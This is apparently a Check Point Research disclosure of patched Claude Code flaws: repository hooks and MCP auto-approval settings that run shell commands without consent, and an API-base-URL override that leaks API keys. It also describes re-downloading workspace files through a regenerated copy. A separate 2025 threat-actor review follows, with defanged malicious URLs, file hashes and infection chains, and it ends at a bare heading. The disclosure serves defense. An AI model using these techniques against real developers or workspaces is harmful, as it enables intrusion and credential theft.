Check Point Research has discovered critical vulnerabilities in Anthropic’s Claude Code that allow attackers to achieve remote code execution and steal API credentials through malicious project configurations. The vulnerabilities exploit various configuration mechanisms including Hooks, Model Context Protocol (MCP) servers, and environment variables -executing arbitrary shell commands and exfiltrating Anthropic API keys when users clone and open untrusted repositories. Following our disclosure, Check Point Research collaborated closely with the Anthropic security team to ensure these vulnerabilities were fully remediated. All reported issues have been successfully patched prior to this publication.
Background
As AI-powered development tools rapidly integrate into software workflows, they introduce novel attack surfaces that traditional security models haven’t fully addressed. These platforms combine the convenience of automated code generation with the risks of executing AI-generated commands and sharing project configurations across collaborative environments.
Claude Code, Anthropic’s AI-powered command-line development tool, represents a significant target in this landscape. As a leading agentic tool within the developer ecosystem, its adoption by technology professionals and integration into enterprise workflows means that the platform’s security model directly impacts a substantial portion of the AI-assisted development landscape.
Claude Code Platform
Claude Code enables developers to delegate coding tasks directly from their terminal through natural language instructions. The platform supports comprehensive development operations including file modifications, Git repository management, automated testing, build system integration, Model Context Protocol (MCP) tool connections, and shell command execution.
Vibe-coding an awesome project using Claude Code
Configuration Files as Attack Surface
While analyzing Claude Code’s architecture, we examined how the platform manages its configurations. Claude Code supports project-level configurations through a .claude/settings.json file that lives directly in the repository. This design makes sense for team collaboration – when developers clone a project, they automatically inherit the same Claude Code settings their teammates use, ensuring consistent behavior across the team.
Since .claude/settings.json is just another file in the repository, any contributor with commit access can modify it. This creates a potential attack vector: malicious configurations could be injected into repositories, possibly triggering actions that users don’t expect and may not even be aware are occurring.
We set out to investigate what these repository-controlled configurations could actually do, and whether they could be leveraged to compromise developers working with affected codebases.
Vulnerability #1: RCE via Untrusted Project Hooks
During our research into Claude Code’s configuration documentation, we encountered Anthropic’s recently released Hooks feature. Hooks are designed to provide deterministic control over Claude Code’s behavior by executing user-defined commands at various points in the tool’s lifecycle. Unlike relying on the AI model to choose when to perform certain actions, Hooks ensure that specific operations always execute when predetermined conditions are met.
Some common use cases for Hooks include:
Automatic code formatting: Run prettier on .ts files, gofmt on .go files, etc. after every file edit
Compliance and debugging workflows: Provide automated feedback when Claude Code produces code that doesn’t follow codebase conventions
Custom permissions: Block modifications to production files or sensitive directories
Hooks are defined in .claude/settings.json – the same repository-controlled configuration file we identified earlier. This means any contributor with commit access can define hooks that will execute shell commands on every collaborator’s machine when they work with the project. The question was: what happens when those commands come from an untrusted source?
To test this, we crafted a .claude/settings.jsonfile which includes a simple hook that would open a Calculator. We chose to use the SessionStart event with a startup matcher, which according to Hooks documentation triggers automatically during Claude Code initialization:
When we ran claude in the project directory, the following trust dialog was presented:
The dialog warns about reading files and mentions that Claude Code may execute files “with your permission.” This phrasing suggests that user approval will be required before any execution occurs. Indeed, when Claude Code attempts to run commands during a normal session (such as executing a bash script), it does prompt for explicit confirmation:
Before execution of bash commands, Claude requests for explicit approval from the user.
We expected hooks to receive the same explicit confirmation prompt.
Back to our test: we clicked “Yes, proceed” on the prompt from when we first ran Claude.
Surprisingly, the Calculator app opened immediately, with no additional prompt or execution warning.
We went back and examined the initial dialog more carefully. While it mentions files being executed “with your permission,” there’s no warning that hook commands defined in .claude/settings.json will run automatically without confirmation, as well as no explicit approval which was required to execute the bash command demonstrated above. The session appears completely normal while commands from the untrusted repository have already run in the background.
With this behavior confirmed, the path to remote code execution became clear. An attacker could configure the hook to execute any shell command – such as downloading and running a malicious payload:
The following video demonstrates how an attacker may leverage this vulnerability to achieve a reverse shell:
During our investigation of Claude Code’s configuration system, we discovered that hooks weren’t the only feature controlled through repository settings. This led us to examine other configuration-based execution mechanisms, particularly the MCP (Model Context Protocol) integration.
Vulnerability #2: RCE Using MCP User Consent Bypass
Another interesting setting that Claude Code supports is MCP (Model Context Protocol), which allows Claude Code to interact with external tools and services through a standardized interface.
Similar to Hooks, MCP servers can be configured within the repository via .mcp.json configuration file. When opening a Claude Code conversation, the application initializes all MCP servers by running the commands written in the MCP configuration file.
To test the MCP configurations, we configured a fake MCP server whose initialization command opens a Calculator for demonstration:
We observed that Anthropic had implemented an improved dialog in response to our first reported vulnerability [GHSA-ph6w-f82w-28w6]. This new dialog explicitly mentions that commands in .mcp.json may be executed and emphasizes the risks of proceeding:
User consent dialogue for MCP servers initialization
This improved warning would make it much more difficult for an attacker to convince users to confirm initialization of Claude Code over a malicious project. With this in mind, our goal shifted to finding a way to execute the injected commands without any user consent.
These parameters allow automatic approval of MCP servers: enableAllProjectMcpServers enables all servers defined in the project’s .mcp.json file, while enabledMcpjsonServers whitelists specific server names. In legitimate use cases, these settings enable seamless team collaboration – developers cloning a repository automatically get the same MCP integrations (filesystem, database, or GitHub tools) without manual setup.
Additionally, just like Claude Code hooks, these configurations can be included in the repository-controlled .claude/settings.json file. We tested whether this could bypass the user consent dialog:
Starting Claude Code with this configuration revealed a severe vulnerability: our command executed immediately upon runningclaude – before the user could even read the trust dialog. Ironically, the calculator application opened on top of the pending trust dialog:
Similar to the hooks vulnerability, we escalated this into a reverse shell, demonstrating complete compromise of a victim’s machine:
Vulnerability #3: API Key Exfiltration via Malicious ANTHROPIC_BASE_URL
Following our discovery that Claude Code’s configuration system could execute arbitrary commands, we wanted to understand the full scope of what could be controlled through .claude/settings.json. While exploring the configuration schema, we found that environment variables could also be defined in this file. One particular variable caught our attention: ANTHROPIC_BASE_URL.
This environment variable controls the endpoint for all Claude Code API communications. In normal operation, it points to Anthropic’s servers, but like other settings, it could be overridden in the project’s configuration file.
This presented an opportunity: we could intercept and analyze the actual communication between Claude Code and Anthropic’s servers. We set up mitmproxy, a tool for intercepting HTTP traffic, and configured ANTHROPIC_BASE_URL to route through our local proxy. This would let us observe every API call Claude Code made in real-time:
We started Claude Code and watched the traffic flow through our proxy. Something immediately caught our attention: before we could even interact with the trust dialog, Claude Code had already initiated several requests to Anthropic’s servers:
Requests captured by our mitmproxy
The requests seem to include prompts responsible for initializing the session with relevant information, including file names in the repository and recent commit messages.
But more critically, every request included the authorization header – our full Anthropic API key, completely exposed in plaintext:
What started as research method into the communication between Claude Code client and server immediately became an attack vector on its own. An attacker could place this configuration in a malicious repository:
When a victim clones the repository and runs claude, their API key would be sent directly to the attacker’s server – before the victim decides to trust the directory. No user interaction required.
But what could an attacker actually do with a stolen API key? The obvious answer was billing fraud – running Claude queries charged to the victim’s account. But as we explored Anthropic’s API documentation to understand the full scope of access, we discovered something far more concerning: Workspaces.
Claude’s Workspaces
Claude’s Workspaces is a feature introduced within the API Console to help developers manage multiple Claude deployments more effectively. Workspaces are especially useful for teams and multi-project environments, allowing them to organize resources, streamline access controls, and maintain shared contexts across tools. In practice, a Workspace acts as a collaborative environment where multiple API keys can work with the same cloud-mounted project files.
Files stored in a Workspace aren’t scoped to individual API keys. Instead, they belong to the workspace itself – meaning multiple developers, each using their own API key, may implicitly share the same storage area. Any API key belonging to that workspace inherits visibility into the Workspace’s stored files.
To understand how this behaves in practice, we created a workspace with two API keys:
We then reviewed the Files API documentation, which allows managing files within a Workspace, and began testing file uploads and downloads.
We uploaded a file using the following request:
We noticed the API response showed the downloadable parameter set to false:
Attempting to download the file did indeed fail. We confirmed this behavior in the documentation:
You can only download files that were created by skills or the code execution tool. Files that you uploaded cannot be downloaded.
This appears to be an architectural choice rather than a security boundary. Any developer who can upload files to the Workspace is already fully trusted: if they can write files, they typically also have access to the original content.
Nevertheless, since this weakens our attack impact, we wondered whether we could bypass this behavior. Since files generated by Claude’s code execution tool are marked as downloadable, we explored whether the attacker could simply ask Claude to regenerate an existing file using the stolen API key. If successful, this would convert a non-downloadable file into a workspace artifact that is eligible for download.
We instructed Claude to produce a copy of the file with a .unlocked suffix:
As we expected, Claude generated an exact copy of the file:
We then downloaded this regenerated file and confirmed the content was identical to the original:
This demonstrates that the download restriction can be trivially bypassed: regenerating the file through the code execution tool converts it into a system-generated artifact that the Files API allows to be downloaded.
This confirms an attacker using a stolen API key gains complete read and write access to all workspace files, include those uploaded by other developers.
With a stolen API key, an attacker can:
Access sensitive files by regenerating them through the code execution tool
Delete critical files from the workspace
Upload arbitrary files to poison the workspace or exhaust the 100 GB storage space quota
Exhaust API credits, leading to unexpected costs for the account owner or service interruption when rate limits/budgets are reached
Unlike the code execution vulnerabilities that compromised a single developer’s machine, a stolen API key may provide access to an entire team’s shared resources.
The following video demonstrates the complete attack chain: exfiltrating the victim’s API key and using it to access their workspace storage:
Supply Chain Attack Scenarios
This vulnerabilities are particularly dangerous because they leverage supply chain attack vectors – the malicious configuration spreads through trusted development channels:
Malicious pull requests: Attackers can submit seemingly legitimate PRs that include the malicious configuration alongside actual code changes, making it harder for reviewers to spot the threat
Honeypot repositories: Attackers can create useful-looking projects (development tools, code examples, tutorials) that contain the malicious configuration, targeting developers who discover and clone these repositories
Internal enterprise repositories: A single compromised developer account or insider threat can inject the configuration into company codebases, affecting entire development teams
The key factor making this a supply chain attack is that developers inherently trust project configuration files – they’re viewed as metadata rather than executable code, so they rarely undergo the same security scrutiny as application code during code reviews.
Anthropic’s Fixes
Anthropic addressed the first vulnerability by implementing an enhanced warning dialog that appears when users open projects containing untrusted Claude Code configurations:
This improved warning addresses not only the hooks vulnerability but also other potential risks from untrusted project directories, including malicious MCP configurations. Anthropic claimed to develop additional security hardening features planned for release in the coming months to provide more granular risk controls.
For the second vulnerability, Anthropic fixed the bypass by ensuring that MCP servers cannot execute before user approval, even when enableAllProjectMcpServers or enabledMcpjsonServers are set in the repository’s configuration files.
For the third vulnerability, Anthropic fixed the API key exfiltrationissue by ensuring that no API requests are initiated before users confirm the trust dialog. This prevents malicious ANTHROPIC_BASE_URL configurations from intercepting API keys during the project initialization phase, as Claude Code now defers all network operations until after explicit user consent.
We would like to thank Anthropic for their excellent collaboration and thoughtful engagement throughout this disclosure process.
Protecting Against Configuration-Based Attacks
Modern development tools increasingly rely on project-embedded configurations and automations, creating new attack vectors that developers must navigate. As these tools continue to evolve and add features, configuration-based risks are likely here to stay as a persistent threat in development ecosystems.
Just as developers have learned they cannot blindly execute code from untrusted sources, we must extend that same caution to opening projects with modern development tools. The line between configuration and execution continues to blur, requiring us to treat project setup files with the same careful attention we apply to executable code.
How to Stay Protected:
Keep Your Tools Updated – Ensure you are running the latest version of Claude Code. All vulnerabilities discussed in this report have been patched, and running the current version is the most effective way to stay protected.
Inspect configuration directories before opening projects – examine .claude/, .vscode/, and similar tool-specific folders
Pay attention to tool warnings about potentially unsafe files, even in legitimate-looking repositories
Review configuration changes during code reviews with the same rigor applied to source code
Question unusual setup requirements that seem overly complex for a project’s apparent scope
Timeline and Disclosure
July 21st, 2025 – Check Point Research reported the malicious hooks vulnerability to Anthropic
August 26th, 2025 – Anthropic implemented a final fix after collaborative refinement process
These vulnerabilities in Claude Code highlight a critical challenge in modern development tools: balancing powerful automation features with security. The ability to execute arbitrary commands through repository-controlled configuration files created severe supply chain risks, where a single malicious commit could compromise any developer working with the affected repository.
The integration of AI into development workflows brings tremendous productivity benefits, but also introduces new attack surfaces that weren’t present in traditional tools. Configuration files that were once passive data now control active execution paths. As AI-powered development tools become more prevalent, the security community must carefully evaluate these new trust boundaries to protect the integrity of our software supply chains.
Check Point Research (CPR) continuously tracks threats, following the clues that lead to major players and incidents in the threat landscape. Whether it’s high-end financially-motivated campaigns or state-sponsored activity, our focus is to figure out what the threat is, report our findings to the relevant parties, and make sure Check Point customers stay protected.
Some of our work naturally makes it into the spotlight through public reports and deep blog posts. However, a large portion of what we uncover remains in the shadows but is used on a day-to-day basis to improve protections, connect the dots between incidents, and keep a watchful eye on known threat actors and infrastructure.
In 2025, the activity varied by region and objective. In the Americas, attackers invested in high-value targets, including early ToolShell exploitation assessed as Chinese-nexus activity against North American government organizations. Identity-centric intrusion methods were also prominent, such as AiTM-enabled credential theft in targeted campaigns against researchers within US think tanks.
In Europe, the year combined disruption, espionage, influence operations, and financially motivated intrusions. Russian-affiliated activity drove pressure in Eastern Europe and Ukraine, while Chinese and Iranian-nexus actors remained active, and election-related influence efforts persisted, including renewed targeting around Moldova’s parliamentary cycle.
Across Asia Pacific and Central Asia, Chinese-nexus espionage was sustained, frequently relying on updated versions of established attack playbooks. In the Middle East and Africa, campaigns reflected a diversified mix of state-aligned operations, destructive activity, and PSOA-linked exploitation, with conflict periods amplifying targeted collection such as attempts to compromise internet-connected cameras.
Across these threats, novelty more often came from how familiar techniques were combined than from entirely new tooling. Actors repeatedly used trusted platforms and common enterprise pathways: cloud hosting for command and control, remote administration tooling, DLL side-loading chains, and social engineering patterns such as ClickFix, to reduce detection and improve reliability. Overall, 2025 reinforced the need for durable visibility across identity, cloud, and endpoints, faster closure of exposed and unpatched entry points, and industry collaboration.
Check Point Research
Untold Stories Timeline – 2025
Key APT campaigns, cyberattacks & threat actor activity tracked throughout the year
Jan
APT36 Targeting Indian Aerospace Industry
RedCurl Weaponized LNK Files Campaign
Mar
Stealth Falcon Exploits WebDAV 0-day in the Middle East and Africa
Apr
Samsung Security Release Fixes 0-day
Lying Pigeon Campaign Targeting the Moldovan Elections
May
Flax Typhoon Targets IT Supply Chains in Taiwan
GoldenSMTP Targeting Governments in Central Asia
Jun
Cameras Targeting by Iranian-Nexus Actors
Handala Hack Wiper
Muddy Water Activity in Israeli Municipality
Jul
ToolShell Intrusion
SilverFox Attacks Web Servers
Kimsuky Phishing Campaigns against the US Think Tanks
YoroTrooper Targets Eurasian Economic Union Countries
Aug
Camaro Dragon Targeting Government Sector
UAC-0050 Phishing Campaign
Zipline Shifting to Europe
WIRTE Espionage and Sabotage
Sep
WhiteLock Ransomware
Oct
COLDRIVER in Southeast Europe
Dec
Nimbus Manticore Activity in Africa
Figure 1 – Overview of CPR Untold Stories 2025.
Americas
Throughout the year, the Americas were a focal point for both nation state activity and high-end cybercrime, with a wide mix of actors targeting government and private-sector organizations alike. The state-sponsored groups in particular seem to reserve some of their most innovative tradecraft for targets in the Americas. Whether through zero-day exploitation, abuse of cloud services, or highly refined phishing operations, attackers appear willing to invest more time and sophisticated efforts for targets in this region.
ToolShell Exploitation Used as a Zero-day by Chinese-nexus Actors
ToolShell is an exploit chain targeting on-premises Microsoft SharePoint and enables unauthenticated remote code execution (RCE) on vulnerable servers. It works by abusing weaknesses in how SharePoint handles certain web service / API requests, which allow attackers to reach code execution without needing valid credentials. ToolShell’s involvement in active exploitation efforts has been observed globally.
While analyzing in July the broader wave of ToolShell activity, we found a subset of targeted incidents where the exploit chain appears to have been used as a zero-day, before the original patch was available. In each of these limited early exploitation attempts, the targets were government-sector organizations in North America.
We attribute the zero-day exploitation activity to Chinese-nexus threat actors. This assessment is based on the supporting infrastructure we observed in this campaign, which includes router-based relay nodes consistent with Operation Relay Box (ORB)-style networks, an approach most frequently seen in intrusions attributed by multiple vendors to Chinese nexus groups. This assessment aligns with Microsoft Threat Intelligence report that Chinese APTs exploited the vulnerability as a zero-day.
Figure 2 – ToolShell Exploitation Timeline.
Kimsuky Targeting Think-Tanks in the US
Since mid-July, we’ve been tracking a targeted phishing campaign aimed at researchers within US think tanks which focus on North Korean affairs and policy. The campaign relies on spear-phishing emails, often impersonating peers from European universities or NGOs, with invitations to collaborate or participate in academic or policy events.
Figure 3 – Email sent from a compromised account of a UK university professor.
The malicious emails contain either a link or a PDF attachment embedding a QR code, both of which lead to web pages impersonating legitimate organizations.
Figure 4 – Example of a phishing landing page (hosted at signup-forms[.]theonlycompany[.]com), explaining the login request.
The landing pages claim a login is required and include a button that redirects victims to credential-harvesting sites tailored to their email providers, such as Yahoo, Gmail, or Microsoft. The phishing infrastructure leverages Adversary-in-the-Middle (AiTM) kits to bypass MFA and gain unauthorized access to victims’ email accounts.
RedCurl Weaponizes LNK files
RedCurl is a sophisticated, Russian-speaking threat actor historically tied to corporate espionage, and most recently, to ransomware operations. The actor has targeted North American entities for years. In more recent activity affecting North America and Asia, we observed a new multi-stage infection chain that pulls a remote resource by abusing the Working Directory parameter in LNK files. The LNKs point to a legitimate Windows binary (such as conhost or rundll32), and pass an argument that references a file located in that remote working directory production[.]dav[.]indeedex[.]workers[.]dev.
This combination of living-off-the-land execution, using WebDAV and remote resource loading, appears to contribute to exceptionally low detection rates. While we haven’t observed clear post-exploitation activity in our data, we did see indications suggesting the intrusion path may ultimately lead to the deployment of RedCurl’s custom ransomware.
Europe
The activity we observed in Europe ranges from operations designed to disrupt, to those intended to influence and mislead, to financially motivated campaigns. Together, these threats threaten every pillar of data security: confidentiality, integrity, and availability.
The most aggressive activity is driven by Russian-affiliated actors, especially in Eastern Europe and Ukraine, where they employ a mixture of tactics consistent with aims of espionage, disruption, and “hacktivism.” At the beginning of 2025, we reported on one major espionage campaign, attributed to APT29, which targeted foreign affairs ministries. However, Russia nexus actors isn’t the only major player in this arena: Europe continues to face sustained pressure from Chinese and Iranian nexus threat actors as well, alongside a steady stream of financially-motivated groups targeting the continent.
Camaro Dragon Targeting Government Sector
In 2025, we tracked multiple Chinese-aligned actors targeting Europe. Within this broader set of operations, we observed a recurring campaign against European government agencies that looks like an evolution of the SmugX activity we reported in 2023. The campaign, likely a subset of Camaro Dragon (also known as Mustang Panda), uses well-crafted phishing to deliver PlugX payloads.
The initial infection begins with spear-phishing emails sent from what appear to be government addresses, either compromised mailboxes or spoofed senders, targeting Foreign Affairs ministries across Europe. The messages contain a hyperlink to an HTML landing page hosted on Microsoft Azure’s cloud-based web storage service (*.web.core.windows.net).
Figure 5 – Camero Dragon’s Infection Chain.
When opened, the HTML executes a short, embedded JavaScript snippet that reconstructs and launches a download link. The script dynamically assembles the next stage URL using ASCII-encoded fragments, then redirects the browser to download an archive file such as 262a1003a2cd04993b29e687686eba573d6202fea8611c437ecbd6312802677a. This archive contains a Windows shortcut (LNK) file that serves as the dropper for the next stage.
COLDRIVER in Southeast Europe
Despite multiple recent public exposures, the Russian affiliated threat group COLDRIVER (also tracked as UNC4057, Star Blizzard, and Callisto) has not slowed down or paused its activity. Instead, the group continues to rapidly adapt its operations. In Q4 2025, we observed multiple campaigns impersonating US-based nonprofit organizations, including NED (National Endowment for Democracy) and USRF (The US–Russia Foundation), as well as campaigns targeting Southeast Europe that use fake websites impersonating a major regional media and broadcasting company.
These campaigns highlight the group’s ability to quickly evolve its tooling and delivery mechanisms in response to exposure. As part of this evolution, COLDRIVER introduced changes to its multi-stage MAYBEROBOT (also known as SIMPLEFIX) malware delivery chain. Beginning with ClickFix-style self-infection, the updated chain incorporates additional stagers with enhanced attacker-side security measures, such as DGA and RSA-based authenticity checks for C2 communications.
Figure 6 – ClickFix-style attack staged using a fake United Media website.
Lying Pigeon Campaign Targeting the Moldovan Elections
In 2024, we exposed Operation MiddleFloor, a campaign in Moldova by the Russian-speaking group Lying Pigeon. Ahead of the October 2024 presidential elections and EU referendum, the group used spoofed emails and forged documents, impersonating EU institutions, Moldovan ministries, and political figures to spread anti-European narratives. We also discovered that previously, Lying Pigeon also targeted other major European political events, including the NATO 2023 summit in Vilnius and Spain’s 2023 general elections.
Since mid-April 2025, we observed a new wave of activity aimed at Moldova’s September parliamentary elections. Most of this activity used the same techniques as the MiddleFloor campaign, spreading fake documents to erode trust in Moldovan pro-European leadership. In addition, at the end of May, Lying Pigeon launched a large-scale defamation campaign using over a dozen domains to promote a poster contest attacking PAS, the ruling Party of Action and Solidarity founded by President Maia Sandu. Though framed as citizen-led, it was a coordinated propaganda and disinformation effort running on Lying Pigeon infrastructure. Interestingly, the contest site itself was cloned from a website of a Russian anti-terrorism poster competition held in 2024.
In August, a phishing campaign targeting multiple organizations in Ukraine was launched from compromised email accounts. The emails masquerade as communications from the Ukrainian tax authorities and contain a malicious link to the 4sync.com file sharing service, prompting recipients to download a malicious archive named tax_gov_ua_zapit_15_08_2025_X.zip. Upon successful execution, a Remote IT support tool is installed on background, granting unauthorized access to the threat actor. This campaign shares similarities with UAC-0050.
Figure 8 – UAC-0050 Phishing masquerading as tax.gov.ua.
Zipline Shifting to Europe
Earlier this year, we reported a sophisticated phishing campaign targeting US organizations with unusually elaborate social engineering. The campaign, named ZipLine, was noteworthy because the attacker reached out through the victim’s public “Contact Us” form, reversing the typical phishing flow and prompting the organization to initiate the email exchange.
Since that publication, we’ve seen a noticeable shift in both the group’s TTPs and its targeting, with a clear refocus on Europe. Recent waves lean heavily on HR-themed lures, and our data suggests the actor is running country-by-country campaigns, most notably against the UK, Poland, Italy, and the Czech Republic. The tooling also appears to have evolved into newer iterations of MixShell, with the actor now relying almost entirely on herokuapp domains for C2 communication.
Figure 9 – Zipline lure targets Europe.
Asia Pacific and Central Asia
The activity we observed across Asia reflects a sustained regional espionage push by Chinese-aligned actors. For much of the year, the dominant TTPs (Tactics, Techniques, and Procedures) we saw were best described as updated versions of familiar playbooks: reusing modular backdoor ecosystems such as PlugX and ShadowPad, and repeating patterns that were effective for these groups in the past.
At the same time, a smaller subset of APT activity stood out for being more deliberate and mature, reflecting a higher investment in tradecraft and operational discipline than the broader baseline we typically see in the region. However, the picture on the ground is still unclear as many of the same environments are targeted by multiple actors over long periods, leaving behind overlapping infrastructure, tooling, and artifacts. This creates an intertwined landscape that can be difficult to untangle, especially in Southeast Asia.
GoldenSMTP Targeting Governments in Central Asia
Throughout 2025, we observed multiple instances of activity that we determined to be an evolution of the IndigoZebra APT. These events primarily target Central Asia and rely on a mix of backdoors and supporting tools. Initial access is typically delivered via password-protected ZIP archives using phishing-style filenames, followed by DLL hijacking to install the first backdoor. Across the intrusion chain, we also saw a broader toolkit that included Pandora RC installer (open-source IT remote control software), shellcode loaders, and the NPPSPY credential stealer.
Figure 10 – GoldenSMTP masquerades as SentinelOne Agent using debug strings.
Next, the attackers deploy a dedicated SMTP/IMAP-based implant, named GoldenSMTP, which communicates through attacker-controlled email accounts, often named after local athletes, inside the target organization. This unusual C2 channel, combined with the use of compromised systems, appears to be at least partly responsible for the notably low detection rates of the backdoors installed in the later stages of the intrusion.
Several of the samples showed code overlaps with older IndigoZebra malware, and the operation itself reflects familiar patterns: targeting Central Asia, reusing older infrastructure, relatively simple obfuscation, and checks for Russian-language systems.
Flax Typhoon Targets IT Supply Chains in Taiwan
We observed an intrusion set at a Taiwan-based cloud service provider where the threat actor abused legitimate security products to execute a DLL side-loading chain. The side-loaded DLL acted as a PlugX loader, which then brought in multiple plugins and injected them into other processes, with capabilities such as reverse shell access and keylogging. In this case, the built-in nslookup.exe utility was used to initiate C2 communication.
After establishing a foothold, the attackers scanned the network and moved laterally using RDP. We also identified a SoftEther VPN binary placed at C:\Windows\SysWOW64\conhost.exe, a technique that other security vendors linked to the APT group known as Flax Typhoon.
Flax Typhoon has been flagged by US government agencies as a major cyber risk for the technology ecosystem, including managed service providers (MSPs) and other IT service providers.
SilverFox Attacks Web Servers
The SilverFox APT group continues to target organizations across East Asia, with a particular focus on Taiwan and Japan, using a multi-stage backdoor known publicly as ValleyRAT. As part of the infection chain, the group employs a “bring your own vulnerable driver” (BYOVD) technique to terminate security product processes and reduce the chances of detection.
We also identified a newly observed initial access vector: compromised PHP servers exposed to remote code execution. After successful exploitation, the group leverages the legitimate Windows msiexec component to install a ValleyRAT implant from hxxp[:]//aadcasc[.]cn-nb1[.]rains3[.]com/100ww.msi.
Figure 11 – ValleyRAT web exploitation chain.
YoroTrooper Targets Eurasian Economic Union Countries
Throughout 2025, YoroTrooper, a threat group active in CIS countries since at least 2020, was observed targeting member states of the Eurasian Economic Union (EAEU) countries and its regulatory body, the Eurasian Economic Commission. Targets included government and diplomatic entities, as well as infrastructure projects in these countries. The attackers used PDF documents to lure victims to either phishing pages that steal credentials or to cloud-based file sharing services hosting malware. Consistent with other YoroTrooper campaigns, the threat actors deployed “burner” RATs as payloads, typically leveraging services such as Telegram and Discord for C2 communications.
Figure 12- Example of phishing PDF document (549df969dc5b340b4fc850584a01c767ca8a1bd712f16210f164f85e26c3e58b) targeting government entity in Kyrgyz Republic.
APT36 Targeting Indian Aerospace Industry
At the beginning of 2025, we identified a targeted phishing campaign aimed at government entities and the Indian aerospace industry. Based on infrastructure overlap, targeting focus, and operational tradecraft, we can attribute the activity with moderate confidence to APT36.
Phishing emails, with the subject line “RFI for Surveillance Systems for [REDACTED] State Police,” were sent from a compromised legitimate local Indian government email account, lending significant credibility to the lure. The campaign leveraged ISO attachments containing malicious LNK files, which executed embedded batch scripts. These scripts deployed a stealer malware capable of exfiltrating documents and other sensitive files from compromised hosts, and shares code similarity with ObliqueRAT. Later in the year, we observed additional activity consistent with this campaign targeting entities in Afghanistan, indicating an expansion of the threat group’s operational scope.
Figure 13 – Snippet of PDF lure targeting the Indian aerospace industry.
Middle East and Africa
Recent activity across the Middle Eastern and North African (MENA) region reflects a diversified threat landscape with state-aligned advanced persistent threat (APT) groups, private sector offensive actors (PSOAs), and destructive operators deploying wipers. Campaigns blend legacy social engineering with increasingly disciplined operational planning, and use legitimate cloud apps, and code-signing or supply chain-style trust signals to lower detection rates.
Private Sector Offensive Actors
Some of the more distinctive activity we’ve been tracking is commonly associated with what are known as Private Sector Offensive Actors (PSOA). Many of the PSOA-linked clusters we observed this year were active in the Middle East, where this type of innovative capability continues to surface. One of our prominent findings was the discovery of a zero-day exploited by StealthFalcon: CVE-2025-33053, a vulnerability used to target high-profile organizations in Turkey, Qatar, Egypt, Ethiopia and Yemen.
StealthFalcon, however, is not unique. Throughout 2025, we identified additional activity clusters that stood out in terms of their behavior and tradecraft. We came across one of them while tracking high-profile sample submitters in the Middle East. The activity consisted of a cluster of suspicious TIFF (an image file format for storing raster graphic images) files that contained embedded ELF payloads aimed at Android devices.
Our analysis indicated the files were exploiting a vulnerability, later disclosed as CVE-2025-21042, in the way Samsung parses TIFF/DNG files. Based on the tradecraft, infrastructure overlaps, and recurring keywords like “Bridge Head,” we assess the operator to be a private sector offensive actor. Additional research into the same activity, called LANDFALL, reached similar conclusions. We saw indications the campaign affected targets in Iraq, Iran, Turkey, Bahrain, Morocco and Pakistan.
Iranian Activity
Israeli-Iranian War: Targeting Cameras
During the twelve-day Israeli–Iranian war in June, threat actors largely stuck to their familiar playbooks, primarily using spear phishing campaigns to deploy wipers and backdoors. One standout trend we observed was a sharp increase in attempts to compromise specific Israeli cameras by exploiting CVE-2023-6895 and CVE-2017-7921 via infrastructure we associate with Iranian actors.
In several major conflicts in recent years, compromising internet-connected cameras proved to be an effective way to support bombing damage assessment (BDA) by providing near–real-time visibility into strike impacts. This wave targeting Israeli cameras appears to fit that pattern and aligns with prior public disclosures by Israeli officials that Iran-nexus actors seek access to private CCTV feeds to assess the accuracy of their missile strikes and refine subsequent targeting efforts.
Figure 14 – Spike in cameras targeting in Israel.
MuddyWater Password Spray in Israeli Municipality
In late June, a successful password spray activity originating from a Nord VPN infrastructure affected a municipal government in Israel. One month later, we observed a successful login attempt from the same attacker infrastructure to an email account which then sent spear phishing emails to recipients in Israel.
The phishing email contained an embedded link, hxxps[:]//pharmacynod[.]com/join/join.html, used as a decoy invitation to join a Teams conversation. The landing page is a ClickFix page that tricks the user into pasting a PowerShell script into the Run dialog and executing it. This script is a RAT which initially collects information about the infected machine and can execute arbitrary PowerShell commands received from the command and control server. This script’s obfuscation method aligns with previous PowerShell backdoors associated with MuddyWater.
Figure 15 – MuddyWater ClickFix Teams lure.
Nimbus Manticore Activity in Africa
We recently uncovered a long-running campaign that we attribute to Nimbus Manticore, an IRGC-affiliated actor active across the region and parts of Europe. What we observed highlights this actor’s evolution: while continuing to lean on familiar phishing themes, the actor has also begun deploying more sophisticated malware, making himself something of an outlier compared to much of the broader Iranian threat landscape.
As we continue to track this operation, we’ve observed renewed activity targeting Northeast Africa, impersonating T-Mobile with a fake hiring website careerst-mobile[.]com and using similar tradecraft which suggests the campaign remains active and adaptable.
Figure 16 – Renewed Nimbus Manticore phishing activity targeting Africa with impersonated T-Mobile site.
Iran-Nexus Wipers
Throughout the year, multiple Iran-aligned actors targeted Israel with disruptive campaigns involving wipers and ransomware. These operations, often at least partly opportunistic, are designed to interfere with the day-to-day functioning of Israeli organizations. Among the most prominent groups behind this activity are Void Manticore (Handala Hack) and Cotton Sandstorm, carrying out attacks using ‘WhiteLock’ ransomware, deployed after WezRat infostealer.
Figure 17 – ‘WhiteLock’ ransomware chat server.
One such campaign, likely conducted by Handala, involved a phishing email sent to hundreds of organizations across Israel. The messages were delivered from a compromised account belonging to an Israeli CRM solution provider. Recipients were instructed to “back up” their files by downloading a malicious .msi installer (6eb7dbf27a25639c7f11c05fd88ea2a301e0ca93d3c3bdee1eb5917fc60a56ff) hosted on Mega file share. When executed, the installer deployed a wiper that iterates over user file folders and overwrites files with spaces. In parallel, a malicious PowerShell script changed the user’s desktop wallpaper to display a political message tied to the Israeli-Hamas war.
WIRTE: Espionage and Sabotage
At the end of 2024, we published research connecting a wave of destructive activity in Israel, known as ‘Cyber Toufan Al-Aqsa’, to WIRTE, a Hamas-associated threat actor. In 2025, the group continued its destructive operations with new variants of SameCoin wiper, while also running parallel campaigns aimed at Arabic-speaking political entities across the Middle East, with a particular focus on Jordan and Egypt.
In these campaigns, targets are lured into downloading a malicious archive (1f3bd755de24e00af2dba61f938637d1cc0fbfd6166dba014e665033ad4445c0) from a Dropbox URL. After the archive is extracted, the victim is presented with a benign Microsoft binary and a decoy file bearing an Arabic-language filename, which the user is prompted to open. That execution triggers DLL side-loading, pulling in a malicious DLL that serves as a loader. It also exfiltrates Base64‑encoded host information to a remote C2 server, and downloads and executes an additional payload, most commonly Havoc. In recent activity, the attacker used DigitalOcean-hosted infrastructure for C2 instead of the Cloudflare-backed setup that featured in previous longer-running operations.
Figure 18 – Wirte Arabic-language lure.
Conclusion
